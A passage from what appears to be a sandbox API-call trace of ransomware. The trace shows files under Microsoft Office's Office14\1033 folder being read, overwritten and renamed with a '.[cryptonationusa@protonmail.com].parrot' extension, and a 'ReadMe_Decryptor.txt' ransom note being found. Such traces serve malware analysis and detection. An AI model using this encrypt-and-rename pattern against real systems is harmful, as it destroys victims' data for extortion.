(hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18a, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.357] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.357] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.358] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.358] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0180.358] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.359] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.359] CloseHandle (hObject=0x288) returned 1 [0180.359] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.363] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x189, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.363] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.363] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.364] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.364] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0180.365] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.365] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x189, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.365] CloseHandle (hObject=0x288) returned 1 [0180.365] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.369] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x267576, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.369] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.369] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.371] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.371] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0180.404] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.404] WriteFile (in: hFile=0x288, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0180.407] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.407] WriteFile (in: hFile=0x288, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0180.441] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x267576, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.441] CloseHandle (hObject=0x288) returned 1 [0180.442] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.454] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x399, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.454] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.454] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.455] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.456] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x281, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x281, lpOverlapped=0x0) returned 1 [0180.456] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.456] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x399, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.456] CloseHandle (hObject=0x288) returned 1 [0180.457] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.462] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e9, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.462] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.463] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.463] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.464] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd1, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd1, lpOverlapped=0x0) returned 1 [0180.464] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.464] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.464] CloseHandle (hObject=0x288) returned 1 [0180.464] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.470] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18a, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.470] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.470] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.471] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.471] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0180.471] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.471] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.471] CloseHandle (hObject=0x288) returned 1 [0180.472] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.476] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x189, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.476] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.476] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.477] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.477] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0180.478] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.478] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x189, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.478] CloseHandle (hObject=0x288) returned 1 [0180.478] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.483] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc688, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.483] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.483] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.499] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.499] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc570, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc570, lpOverlapped=0x0) returned 1 [0180.504] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.505] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc688, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.506] CloseHandle (hObject=0x288) returned 1 [0180.506] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.512] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10ca0, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.512] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.512] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.513] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.513] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10b88, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x10b88, lpOverlapped=0x0) returned 1 [0180.517] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.517] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10ca0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.517] CloseHandle (hObject=0x288) returned 1 [0180.518] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.523] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0180.523] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0180.523] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50f6a840, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.523] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0180.523] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0180.523] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58b19600, ftCreationTime.dwHighDateTime=0x1c304b9, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x58b19600, ftLastWriteTime.dwHighDateTime=0x1c304b9, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visfilem.vsdir", cAlternateFileName="VISFIL~1.VSD")) returned 1 [0180.524] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0180.524] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b1, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.524] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.524] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0180.525] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.525] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x99, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x99, lpOverlapped=0x0) returned 1 [0180.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0180.525] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0180.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0180.526] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.526] CloseHandle (hObject=0x27c) returned 1 [0180.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0180.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x22d3720 [0180.526] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.532] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0180.533] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf7a13c20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf7a13c20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.533] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7a13c20, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xf7a13c20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf7a13c20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0180.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605320 [0180.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0180.535] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8ac, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.535] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.535] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.536] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.537] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x794, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x794, lpOverlapped=0x0) returned 1 [0180.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0180.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0180.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0180.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0180.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0180.537] GetLastError () returned 0x0 [0180.537] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0180.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0180.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0180.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0180.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0180.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0180.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0180.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0180.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0180.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0180.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0180.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0180.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0180.538] HeapFree (in: 